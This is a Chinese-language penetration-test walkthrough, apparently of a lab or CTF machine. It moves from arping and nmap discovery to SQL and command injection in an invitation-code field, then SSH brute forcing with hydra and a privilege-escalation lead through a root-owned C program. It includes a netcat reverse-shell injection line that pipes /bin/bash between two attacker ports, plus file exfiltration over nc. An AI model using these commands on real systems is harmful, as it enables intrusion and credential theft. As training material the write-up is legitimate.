一、前置知识
1、arping
扫描工具,适应范围更广,大多数系统中自带。但无法对一段的ip地址进行一次性的统一的主机发现。因此通常需要结合shell脚本生成的for循环语句中。
2、hydra(自动化暴破工具)
是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可。
二、步骤
1、端口扫描
(1)arp扫描
for i in $(seq 1 254); do sudo arping -c 192.168.1.$i; done
扫到.11和.48时出现两个回包,.56出现四个回包,说明这些ip存在
(2)nmap扫描
依次扫描ip端口,在.56扫出22和80端口
探测其他服务版本等信息,看到8080开放了httpd服务
2、查看web网页
(1)发现输入邀请码能登录,这时,一般思路有二,其一:利用注入漏洞绕过,其二:暴破
(2)对两种方式挨个尝试
1)绕过:
burpsuit抓包,发送instruder,对验证码部分进行特殊符号匹配,看是否会触发什么错误
发现"触发了一个sql相关的报错,说明改位置存在sql注入漏洞,且闭合方式为"
进行尝试,成功
查看尝试查看文件下目录:
hell |ls
有py文件,说明可以执行py,可以利用py文件反弹shell。或者查询一下目标机有没有nc,利用nc建立反弹shell
利用nc建立shell
hello | nc 192.168.1.48 3335 | /bin/bash | nc 192.168.1.48 4445
(nc先用3335端口和kali建立连接, 输入的内容被发送到目标主机下的/bin/bash进行解析,执行完的结果会再通过nc发送到4445端口。使用范围:想通过nc反弹shell建立与目标机之间的远程连接,但是目标机nc版本又不支持-e参数)
此时如果在其中一个监听端口输入命令,会在另一个端口显示结果
查看一下app.py文件,没什么用,查看database.sql文件,但无法直接执行
再开一个5555端口,并将监听文件到存储到到指定本机文件夹;然后在其他监听端口连接5555端口,并将database.sql文件传输到5555端口
下载后查看存在db.sql文件,使用本机sqlite3打开该文件并加载,将里面的东西dump下来
sqlite3 //运行sqlite环境
.open db.sql //打开db.sql文件
.database //database查看该文件是否被挂载
.dump //将该文件中的内容都dump显示出来
发现了四个密码,查看一下用户,并筛选出可以用shell登录系统的用户,
有三个符合要求的账号,将他们和四个密码分别生成字典
使用hydra暴破
hydar -L usr.txt -P passwd.txt ssh://ip
但未发现成功登录的用户和密码,此路不通
查看该目录下的其他文件,没有什么特殊的,查看当前所在目录,然后回到当前目录的上一级目录继续查看,发现root权限的c语言文件
查看该文件,发现可输入参数,通过执行该c语言文件,将要运行的命令以参数的方式提交到该c语言程序中进行执行,实现提权